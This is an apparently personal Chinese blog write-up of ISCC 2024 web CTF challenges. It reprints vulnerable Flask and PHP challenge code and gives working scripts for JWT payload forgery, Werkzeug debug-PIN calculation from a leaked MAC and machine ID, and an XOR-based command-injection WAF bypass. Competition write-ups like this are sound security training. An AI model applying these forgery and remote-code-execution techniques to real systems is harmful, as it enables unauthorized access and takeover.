ISCC2024-web-wp

没啥事干,打着玩玩。

练武题

还没想好名字的塔防游戏

打了半天啥也没有,下载源码直接搜:

牛逼。

结合提示,猜出加上页面那个一起字母大写刚好十八位:

ISCC{MDWTSGTMMSSSPFRMMM}

 

代码审计

[De1ctf 2019]SSRF Me原题:[De1ctf 2019]SSRF Me(哈希拓展攻击)-CSDN博客

进去就看到源码:

#! /usr/bin/env python
# encoding=utf-8

from flask import Flask
from flask import request
import hashlib
import urllib.parse
import os
import json

app = Flask(__name__)
secret_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if not os.path.exists(self.sandbox):
            os.mkdir(self.sandbox)
    
    def Exec(self):
        result = {}
        result['code'] = 500
        
        if self.checkSign():
            if "scan" in self.action:
                resp = scan(self.param)
                if resp == "Connection Timeout":
                    result['data'] = resp
                else:
                    print(resp)
                    self.append_to_file(resp)
                
                result['code'] = 200
            
            if "read" in self.action:
                result['code'] = 200
                result['data'] = self.read_from_file()
        
        if result['code'] == 500:
            result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        
        return result
    
    def checkSign(self):
        if get_sign(self.action, self.param) == self.sign:
            return True
        else:
            return False

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.parse.unquote(request.args.get("param", ""))
    action = "scan"
    return get_sign(action, param)

@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
    action = urllib.parse.unquote(request.cookies.get("action"))
    param = urllib.parse.unquote(request.args.get("param", ""))
    sign = urllib.parse.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    
    if waf(param):
        return "No Hacker!!!!"
    
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/')
def index():
    return open("code.txt", "r").read()

def scan(param):
    try:
        with open(param, 'r') as file:
            content = file.read()
        return content
    except FileNotFoundError:
        return "The file does not exist"

def md5(content):
    return hashlib.md5(content.encode()).hexdigest()

def get_sign(action, param):
    return hashlib.md5(secret_key + param.encode('latin1') + action.encode('latin1')).hexdigest()

def waf(param):
    check = param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run()

param给ban了gopher和file,逻辑也很简单,scan就可以读flag,我们只需要先访问geneSign路由拿一下前面flag.txtread的前面,再cookie传readscan拼接然后checksign就完了:

 

原神启动

查看源码,一搜有个解码:

flag.txt那个是假flag。

垃圾题,真的无聊。

 

Flask中的pin值计算

查看源码拿到路由:

一眼西湖论剑2024初赛。

改了一点点,问啥都是重复,测了下没有SQL注入,没有SSTI,直接问告诉我username,返回个东西:

输入appname:

访问路由:

一眼写脚本。

get_expression那里提取出表达式,然后梭就完了。

但因为有乘除,所以算出来有问题,当它只给加减的时候就出了:

import requests
import json

def calculate_expression(expression):
    try:
        result = eval(expression)
        return result
    except Exception as e:
        print("An error occurred while evaluating the expression:", str(e))
        return None

def send_answer(url, answer):
    try:
        response = requests.get(url + "?answer=" + str(answer))
        if response.status_code == 200:
            print("Answer sent successfully.")
            return response.text
        else:
            print("Failed to send answer. Status code:", response.status_code)
            return None
    except Exception as e:
        print("An error occurred:", str(e))
        return None


expression_url = "http://101.200.138.180:10006/get_expression"
submit_url = "http://101.200.138.180:10006/crawler"

response = requests.get(expression_url)
if response.status_code == 200:
    expression_data = json.loads(response.text)
    expression = expression_data['expression']
    print("Expression:", expression)
    result = calculate_expression(expression)
    if result is not None:
        print("Result:", result)
        response_text = send_answer(submit_url, result)
        if response_text:
            print("Response from server:", response_text)
else:
    print("Failed to retrieve expression. Status code:", response.status_code)

app.py位置:

/usr/local/lib/python3.11/site-packages/flask/app.py
<h1>uuidnode_mac位于/woddenfish</h1>

拿到了app.py位置和mac位置:

访问/woddenfish:

查看源码:

有个jwt,解一下:

猜测密钥是上面的

ISCC_muyu_2024

还真是,参考VNCTF2023的木鱼直接改:

抓包改包:

mac地址:

02:42:ac:18:00:02

记得最后十六进制转二进制。

访问/machine_id拿机器码:

member点不了,supervip说身份不匹配,应该有个越权。

点VIP:

还来jwt?

显然要改role为vip。

这道也是个我buu做过的原题,但是忘了是哪个。

from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decode

def topic(topic):
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    print(parsed_payload)
    parsed_payload["role"] = "vip"
    #parsed_payload["iat"] = "1715241594"
    #parsed_payload["exp"] = "1715241594"
    #parsed_payload["jti"] = "1715241594"
    print(dumps(parsed_payload, separators=(',', ':')))
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    print(fake_payload)
    return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '

print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTUyNDE1OTQsImlhdCI6MTcxNTIzNzk5NCwianRpIjoiZWlZYWNSRGJreG1EOVAzZXd0dzZfQSIsIm5iZiI6MTcxNTIzNzk5NCwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.wwrs_3PZSgrcUszGklSIAOnMYZLLaly68-1kpPYSPt04XkTpOugwb08vadVPJZZGXKZ0qMz9M66sUzBLH-DD5Bt6pdQ6Claz1I8dl3KIbwY5cL4OXr-Ez7zjLXfER3Cy3rPeXaQyATnPfYgN83uctFgCcJtuDFIgkPaHrl8LNq7nvCFc-Yzze6FPHqrOPORHdIYmPinwO0f1MSbroHwnLGknw060XYC1C_6qUOIPBp85XNG0_Y2q7-MT3NV8zU0Ua58oRXA4gFu3chGjUIL7X6uGeTkK7tVQNyxE3nHyG2AITlAHO7nlaMVj6U5V4tc4dfOYHogCDConAyuQfmQODg'))

伪造后强制url编码,发包:

 返回了

session=eyJyb2xlIjoidmlwIn0.Zjx2GA.rzWdRdAOXXoD9JEPhOmcHjEhBgg

"welcome_to_iscc_club"

猜测flask_cookie解密,给的是密钥:

直接伪造supervip完事:

再去点supervip,发包改session:

 machine_id:

"acff8a1c-6825-4b9b-b8e1-8983ce1a8b94"

开始算pin:

import hashlib 
import getpass 
from flask import Flask 
from itertools import chain 
import sys 
import uuid 
import typing as t 
username='pincalculate' #/etc/passwd 
app = Flask(__name__) 
modname= getattr(app, "__module__", t.cast(object, app).__class__.__module__) 
mod=sys.modules.get(modname) 
mod = getattr(mod, "__file__", None) 
 
probably_public_bits = [ 
    username, #用户名 
    modname,  #一般固定为flask.app 
    getattr(app, "__name__", app.__class__.__name__), #固定,一般为Flask 
    '/usr/local/lib/python3.11/site-packages/flask/app.py',   #主程序(app.py)运行的绝对路径 
] 
print(probably_public_bits) 
mac ='02:42:ac:18:00:02'.replace(':','')#/sys/class/net/eth0/address 
mac=str(int(mac,base=16)) 
private_bits = [ 
   mac,#mac地址十进制 
 "acff8a1c-6825-4b9b-b8e1-8983ce1a8b94" #/etc/machine-id /proc/self/cgroup 
     ] 
print(private_bits) 
h = hashlib.sha1() 
for bit in chain(probably_public_bits, private_bits): 
    if not bit: 
        continue 
    if isinstance(bit, str): 
        bit = bit.encode("utf-8") 
    h.update(bit) 
h.update(b"cookiesalt") 
 
cookie_name = f"__wzd{h.hexdigest()[:20]}" 
 
# If we need to generate a pin we salt it a bit more so that we don't 
# end up with the same value and generate out 9 digits 
h.update(b"pinsalt") 
num = f"{int(h.hexdigest(), 16):09d}"[:9] 
 
# Format the pincode in groups of digits for easier remembering if 
# we don't have a result yet. 
rv=None 
if rv is None: 
    for group_size in 5, 4, 3: 
        if len(num) % group_size == 0: 
            rv = "-".join( 
                num[x : x + group_size].rjust(group_size, "0") 
                for x in range(0, len(num), group_size) 
            ) 
            break 
    else: 
        rv = num 
 
print(rv) 

用的SHA1,没用SHA256。

 访问console:

什么懒狗出题人😓,动态环境都不搞,py比赛名不虚传。

掉进阿帕奇的工资

打开一个网站,登录和注册,先注册一个号,但是登录只会回显不让登。

SQL注入也失败了。

试了半天 ,猜测应该要用它的信息重置把manager密码改了才能登。

但重置不知道邮箱,应该是用密保重置。

想起来注册页面有个不能填的职称,f12发现也不能直接改,但我们可以抓包加上它这个job参数,设置为manager:

直接去重置密码:

勾使,换成admin试试:

没事了。

用这个密码去登号,其他位置都没啥,在工资这个位置发现疑似能RCE的地方:

随便乱输:

开始没想到规律,去计算机试了试:

异或得到结果。

试试whoami和22:

好好好,EZ是吧,因为是异或,我们直接EZ ^ 22就得回了whoami:

只截取了前两位?🤔

ls试一波:

游戏基本结束了。

但是这里有waf,所以直接读不了。

经过测试很多都用不了,包括 /和空格这些。读根目录需要先异或然后在直接看:

???flag呢???

实在没辙,more还可以用看看dockerfile(这里写的是Docfile):

咋还有个secret.host的container?

那就猜一手里面有flag,但是flag被ban了,我们就先拿去异或,然后直接梭。

但是咋读呢?curl和wget都没有(我勒个豆),因为用的nginx服务器部署的,应该可以走http协议,听别人说php原生环境可读,但是现在好像给修了。

 

 

 

 

 

 

 

 

 

擂台题

狂飙

吃鱼直接进源码:

 <?php
include("./2024ISCC.php");
// 欢迎大家来到ISCC,本题大家将扮演《狂飙》中的警察,寻找关键证据,抓捕犯罪嫌疑人。
$code = file_get_contents(__FILE__);
highlight_string($code);

class police
{
    public $work;
    public $awarding = "salary";

    public function __construct($a)
    {
        $this ->work = $a;
    }
    
    public function __destruct()
    {
        echo "我是一名人民警察,打击违法犯罪义不容辞<br>";
        $this-> work = new suspect();
        echo $this-> work -> evidence_video;
        echo $this-> work -> evidence_fingerprint;
    }
}

class suspect
{
    private $video;
    private $fingerprint;

    public function __get($name)
    {
        if($name == "evidence_video")
        {
            echo "property.transactions怎么可能这么容易获得呢?<br>";
        }
        else
        {
            echo "blood.fingerprint怎么可能这么容易获得呢?<br>";
        }
    }

    public function __toString()
    {
        $this -> video = "property.transactions";
        $this -> fingerprint = "blood.fingerprint";
        return "差点就让你获得证据了<br>";
    }
}

class tools
{
    public $object;
    private $camera = 0;
    private $technology = 0;

    public function __construct()
    {
        echo "使用camera和technology可以找到蛛丝马迹<br>";
    }

    public function __invoke()
    {
        $this -> camera = 1;
        $this -> technology  = 1;
        echo $this->object;
    }
}

function filter($name)
{
    $safe = "evil";
    $name = str_replace($safe, "light", $name);
    return $name;
}

if (isset($_GET["evidence"]))
{
    $a = filter(serialize(new police($_GET["evidence"])));
    echo $a;
    global $tips;
    if((strpos($a, $tips) !== false) && unserialize($a) -> awarding == "pennant")
    {
        global $flag;
        echo $flag;
    }
}
?> 

反序列化键值逃逸。

最喜欢的一集

ban得挺多,但是没ban eval、ls,字符没ban" ' ; / ( )而且只是把${}里限制了不能放字母,所以直接:

通配符*没了,所以要先ls /看名字,nl直接读:

 

posted @ 2024-05-13 20:42  Eddie_Murphy  阅读(7)  评论(0编辑  收藏  举报